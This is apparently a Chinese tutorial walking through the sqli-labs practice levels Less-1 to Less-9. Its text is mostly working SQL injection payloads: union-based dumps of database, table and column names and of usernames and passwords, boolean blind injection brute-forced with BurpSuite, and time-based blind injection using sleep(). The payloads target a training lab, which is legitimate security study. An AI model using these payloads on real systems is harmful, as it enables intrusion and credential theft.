为了更方便的学习,在每关中的index.php
文件中填入如下代码:
echo $sql;
echo'
';
添加在如下位置:
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
echo $sql; // 添加在此处
echo'
'; // 添加在此处
$result=mysqli_query($con, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
tip:请输入ID作为带数值的参数
使用Google Chrome浏览器的插件HackBar
通过GET方式传递参数
?id=1
点击EXECUTE
得到回显(地址栏也可)
可以看到SQL语句如上,修改id
值可以得到不同的用户和密码
将传入的值填入'
(英文单引号),查看报错信息:
可以判断出存在SQL注入漏洞,原SQL语句多了一个分隔符,产生报错,继续构造永真句
:
/Less-1/?id=1' or 1=1 %23
注:limit 0,1
,第一位是从第几个开始,0代表第一个开始,第二位代表显示几行数据;%23
为#
符号的URL编码,注释掉后面的语句,也可使用--+
继续尝试爆出表中列数,即用order by
排序方式,从1
开始:
/Less-1/?id=1' order by 4 %23
当对第4
列进行排序的时候,报错显示第4
列不存在,即可得出该表共3
列数据
继续构造语句判断回显位置:
将id
的值赋为错误值,将只返回union
查询到的内容
/Less-1/?id=1111' union select 1,2,3 %23
/Less-1/?id=1111' union select 1,2,schema_name from information_schema.schemata limit 0,1 %23
因为限制了每行只能输出一个数据,可以通过改变limit
第一个参数的方法不断爆出数据库名,也可以使用group_concat()
方法将数据拼接后显示在一行:
/Less-1/?id=1111' union select 1,2,group_concat(schema_name) from information_schema.schemata %23
显示出了所有的数据库信息,需要获取的数据库是security
,继续获取该数据库中的表信息:
/Less-1/?id=1111' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' %23
此处不推荐使用'security'
的方式,可以使用十六进制的方式:
在HackBar
工具中选中security
,使用工具自带的十六进制编码:
点击Hexadecimal encode
进行编码转换,在转换后的数据前面填上0x
即:
table_schema=0x7365637572697479
/Less-1/?id=1111' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 %23
/Less-1/?id=1111' union select 1,2,password from security.users %23
此处可以使用concat_ws('~',A,B、)
方法,即显示的数据格式为:A~B
,结合group_concat()
方法,显示所有的用户名和密码:
/Less-1/?id=1111' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users %23
将'~'
转换为十六进制:0x7e
此处完成了对Less-1的注入
首先在?id=1
后加上'
英文单引号,查看是否存在注入:
根据错误回显,判断为整形注入,继续尝试爆出表中列数,即用order by
排序方式,从1
开始:
/Less-2/?id=1' order by 4 %23
当对第4
列进行排序的时候,报错显示第4
列不存在,即可得出该表共3
列数据
往后的步骤和Less-1一样,只是没有了'
,详情参考Less-1的内容
'1'') LIMIT 0,1
可以判断出原SQL语句中闭合类型为:id=('1')
,需要我们闭合字符后面的')
,验证想法:
/Less-3/?id=1') %23
回显正常,往后的注入方式与Less-1相同,只是闭合方式变为')
,详情参考Less-1的内容
?id=1"
得到报错信息:
可以判断出原SQL语句中闭合类型为:id=("1")
,需要我们闭合字符后面的")
,验证想法:
/Less-4/?id=1") %23
回显正常,往后的注入方式与Less-1相同,只是闭合方式变为")
,详情参考Less-1的内容
不再显示用户名和密码,尝试'
英文单引号注入得到报错信息:
可以通过报错判断出原SQL语句为闭合类型为:?id='1'
,注入类型为布尔型注入,当注入内容正确的时候,将产生回显,错误将不产生回显,以此判断:
首先查看列数:
/Less-5/?id=1' order by 3 %23
判断为3
列,接着判断当前数据库第一位字母:
/Less-5/?id=1' and left((select database()),1)='a' %23
因为所测试量大,引入BurpSuite工具的帮助:
抓去数据包,选择Send to Intruder
:
将a
设置为变量,配置爆破方式:
开始攻击,根据返回的页面长度,判断其首字母:
根据结果,判断出首字母为:s
,重复此操作,将其修改为第2
位字母:
开始攻击:
根据返回长度,判断出第2
位字母为:e
重复操作,当最后返回页面长度一样时,函数库名结束,即为:security
也可以使用:
/Less-5/?id=1' and ascii(substr((select database()),1,1))>156 %23
不断采用二分法判断首字母的ascii
值,适合手工注入
继续查询:
/Less-5/?id=1' and left((select schema_name from information_schema.schemata),1)='a' %23
/Less-5/?id=1' and left((select schema_name from information_schema.schemata limit 0,1),1)='c' %23
依旧是使用BurpSuite暴力破解:
重复得到每个数据库的名:
information_schema,dvwa,challenges,security,mysql,performance_schema
选择需要的security
数据库,继续注入:
/Less-5/?id=1' and left((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1)='e' %23
使用BurpSuite爆破得到每个表名:
emails,referers,users,uagents
选择需要的users
继续构造注入:
/Less-5/?id=1' and left((select column_name from information_schema.columns where table_name=0x7573657273 limit 0,1),1)='u' %23
借助BurpSuite不断重复爆破,得到每一个列名,再不断爆破字段:
// username
/Less-5/?id=1' and left((select username from security.users limit 0,1),1)='D' %23
// password
/Less-5/?id=1' and left((select password from security.users limit 0,1),1)='D' %23
到此完成对Less-5的注入
首先使用'
英文单引号注入,并没有报错,使用"
英文双引号,产生报错信息:
可以判断出原SQL语句闭合类型为:?id="1"
,往后的注入方式与Less-5相同,只是闭合方式变为"
,详情参考Less-5的内容
提示使用outfile
方式注入,首先尝试用'
英文单引号判断是否存在注入:
存在注入漏洞,但没有具体错误回显,继续判断闭合类型:
/Less-7/?id=1')) %23
发现原SQL语句闭合方式为:id=(('1'))
,继续判断列数:
/Less-7/?id=1')) order by 3 %23
得到列数为三列,没有回显位,提示使用outfile
方式注入
/Less-8/?id=1" %23
发现存在注入,且原SQL语句闭合方式为:id="1"
,判断列数:
/Less-8/?id=1" order by 3%23
3
列时回显正常,可以采用两种方法进行注入:
方法一:通过与Less-5相似的办法进行爆破:
/Less-8/?id=1' and left((select database()),1)=0x73 %23
通过不断猜解得到信息,详情参考Less-5
**方法二:**时间盲注
/Less-8/?id=1' and if(length(database())=8,1,sleep(5)) %23
通过条件判断当前数据库名的长度,如果返回结果不为8
,则页面加载时间较长,以此判断,继续猜解数据库名:
/Less-8/?id=1' and if(ascii(substr((database()),1,1))=115,1,sleep(5)) %23
/Less-8/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=117,1,sleep(5)) %23
结合limit
猜解出各表名,取需要的users
表:
/Less-8/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 3,1),1,1))=117,1,sleep(5)) %23
不断尝试得到各列名,从username
和password
列得到用户名和密码:
// username
/Less-8/?id=1' and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,1,sleep(5)) %23
// password
/Less-8/?id=1' and if(ascii(substr((select password from security.users limit 0,1),1,1))=68,1,sleep(5)) %23
布尔时间盲注至此完成
首先尝试各种符号的注入,均无回显,由此判断屏蔽了错误的回显,采用sleep()
方法继续判断:
/Less-9/?id=1' and sleep(5) %23
当用'
英文单引号闭合时,执行了and
后的sleep()
函数,由此判断出原SQL语句闭合方式为:id='1'
,继续注入:
/Less-9/?id=1' and if((length(database())=8),1,sleep(5)) %23
往后的步骤均为重复,参照Less-8的方法二